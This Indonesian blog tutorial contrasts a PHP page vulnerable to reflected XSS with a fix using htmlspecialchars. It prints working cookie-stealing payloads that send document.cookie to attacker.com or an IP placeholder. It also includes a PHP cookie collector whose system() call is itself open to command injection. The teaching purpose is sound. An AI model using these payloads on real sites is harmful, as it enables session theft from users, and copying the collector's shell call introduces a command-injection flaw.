Pengikut

Sabtu, 15 Februari 2025

Vuln Code VS Secure Code -- PHP (1) Sanitazing input


1. Pendahuluan


"Menemukan kerentanan itu susah, tapi semua itu berubah setelah saya mengenal sedikit akan PHP"

Ya, dari gambar di atas mungkin kalian yang pernah coding PHP pasti paham lah. Gimana rasanya belajar bahasa pemrograman yang merupakan campuran dari bahasa pemograman C yang merupakan bahasa text to binary dan Bash scripting yang biasa digunakan pada sistem linux/unix berkedok web server. Sampai saya pikir, apa saya pakai bahasa python aja kali ya buat web dengan framework Flask atau Django, wkwk.

Saya sudah membuat repositori github berisi kode yang diperlukan dalam  pembahasan ini: DISINI


2. Apa itu PHP?


Jadi PHP itu apa sih? Singkatan dari Hypertext Preprocessor, merupakan bahasa yang bisa dibilang berada di tengah-tengah server, client, dan sistem. Jadi bisa integrasi lebih luas lah. Bahasa ini dibuat untuk membantu kekurangan HTML yang lebih mengarah ke tampilan dan hanya bisa membantu dari tag input dan JS yang di mana, scriptnya masih bisa dibaca sehingga bisa berbahaya kalau dijadikan back end penuh.

Dari namanya bisa kita simpulkan kalau PHP itu kayak prosesor, yang mengatur proses integrasi dalam suatu website dan itulah kenapa cangkupan PHP lebih luas seperti bisa ke server seperti SQL untuk mengakses database, ke client seperti menampilkan suatu text, dan ke sistem yang bisa mengeksekusi suatu command sistem dan memunculkan hasilnya ke user.

Dari informasi yang gw dapet, PHP ini ada 2 metode untuk interaksi user dan server. POST dan GET, kalau POST itu kayak mengirim paket atau permintaan dan tidak memengaruhi URL kita. Kalau GET itu mendapat permintaan dari user sehingga memengaruhi URL dan biasanya berupa "index.php?input=blablabla".

3. Vuln Code


Kita bahas dulu nih bagian Vuln codenya

$TEXT = $_GET['text'];

jadi ada dalam versi vulnerable dan securenya sama-sama menggunakan parameter "text" dengan metode GET.  Tapi keduanya memiliki cara berbeda dalam menangani masukan dari user.

Kalau kalian lihat kode di atas, itu parameter text nya tidak disanitasi dengan benar. Script menerima masukan apapun jenisnya dari user yang bisa mengakibatkan XSS vulnerability.

Tampilan web dari Vuln Code dan Secure code (secara tampilan):



Coba kita injeksi input dengan: "<script>window.location='http://linkmalware.com';</script>"
Ini mungkin tidak se berbahaya XSS stored yang tersimpan dan bisa mengakibatkan deface. Tapi bisa digunakan penyerang untuk kegiatan phising seperti

<script>document.location='http://attacker.com/steal?cookie=' + document.cookie</script>

yang bisa membuat user yang memasukkan kode ini atau ke url nya secara langsung mengirim sesi cookie ke penyerang, kalian gak mau kan website dinamis PHP kalian dibuat phising?.

Contoh script untuk phising (hanya contoh saja! jangan dipakai hal yang tidak etis!):


<?php
        $COOKIE = $_GET['steal'];
        if ($COOKIE == ''){
                echo "SHHH, use '?steal='";
        }
        else {
                system("echo '$COOKIE' >> steal.txt");
        }
?>

payload: <script>document.location = 'http://IP/steal.php?steal=' + document.cookie</script>
URL: http://IPWEB/vuln.php?text=<script>document.location = 'http://IP/steal.php?steal=' + document.cookie</script>

Hasil dari injeksi di file steal.txt: 



Nah itulah salah satu bahayanya, jadi kerentanan kita dipakai untuk penipuan dan pencurian sesi cookie yang bisa berdampak buruk bagi pengguna web kita.

4. Secure Code

Nah jadi gimana cara mengamankannya? kita pakai:


$TEXT = htmlspecialchars($_GET['text'], ENT_QUOTES, 'UTF-8');
penjelasan: 
1. htmlspecialchars --> untuk merubah input tidak menjadi kode apapun selain html
2. ENT_QUOTES --> untuk merubah unsur quotes '/" menjadi kata lain
3. UTF-8 --> menunjukan karakter encoding untuk mendukung bahasa dan simbol

Hasil dari Secure code:



Nah jadinya gak vuln XSS tuh, karena javascriptnya tidak tereksekusi.
Sekian.